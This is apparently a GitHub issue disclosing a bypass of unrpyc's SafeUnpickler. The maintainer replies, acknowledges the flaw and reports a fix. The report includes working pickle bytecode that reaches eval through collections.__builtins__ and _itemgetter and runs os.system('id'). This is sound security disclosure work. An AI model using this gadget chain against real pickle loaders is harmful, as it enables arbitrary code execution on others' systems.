`SafeUnpickler` is Bypassable

[splitline]

Overview

We have a SafeUnpickler to provide a safe way to deserialize. But the implementation seems not really safe and basically bypassable.

How to Bypass (PoC)

In the find_class method, it just checks whether the module is safe, and doesn't check the name at all, which can make the bypass more easily.

https://github.com/CensoredUsername/unrpyc/blob/e1da6d51e5d2ccc6f98dc71c68b440a8caea07c7/decompiler/magic.py#L498-L506

Now let's check about what safe_modules we used. With a simple search (https://github.com/CensoredUsername/unrpyc/search?q=safe_loads), we could found that it basically allow two modules: {"_ast", "collections"}. And I do found a cool gadget in collections module.

First, you can get builtins in dict type from collections.__builtins__ (actually all the modules have a __builtins__ attribute). Then you can use collections._itemgetter to get arbitrary item from collections.__builtins__. Now you have a exec or eval, you are able to execute any python code.

_itemgetter exist in all the versions of collections module For Python 2.7, you can check this: https://github.com/python/cpython/blob/v2.7.18/Lib/collections.py#L21

I use my toy compiler to generate the pickle bytecode. Exploits should execute code: __import__('os').system('id').

PoC:

from decompiler import magic
pickle_bytecode = b'\x80\x04\x95r\x00\x00\x00\x00\x00\x00\x00(\x8c\x0bcollections\x8c\x0c__builtins__\x93\x94\x8c\x0bcollections\x8c\x0b_itemgetter\x93\x94h\x01\x8c\x04eval\x85R\x94h\x02\x94h\x03h\x00\x85R\x8c\x1d__import__("os").system("id")\x85R1N.'
magic.safe_loads(pickle_bytecode, safe_modules={"_ast", "collections"})

Bytecode is generated by:

python3 pickora.py -c "from collections import __builtins__; from collections import _itemgetter; get_eval = _itemgetter('eval'); get_eval(__builtins__)('__import__(\"os\").system(\"id\")')" 

The Proper Way?

A better way to restrict globals is restricting both module and name in find_class at the same time, just like what the document do.

[CensoredUsername]

Oo, nice catch. The library already includes support for allowing single classes to be used (this is normally handled by the passed FakeClassFactory instance), but the safe_modules argument exists as a bypass for modules that supposedly contain only data classes, like the _ast module. I thought collections was also like that, since its documentation purely specifies it containing data classes. Unfortunately I seem to have forgotten about python's total lack of privacy for internal functions so all module imports are accessible through it as well, which causes this issue.

I would not like to get rid of the safe_modules argument as it does have a place, but the way it works right now is indeed almost impossible to use safely on untrusted code. I'm thinking of checking against module.__all__, which should normally only contain module public items.

Pretty cool pickle compiler btw, reminds me of the pickleast module I never really finished, but which is useful enough to embed the decompiler into pickles itself.

[CensoredUsername]

Should be fixed now, feel free to try breaking it again!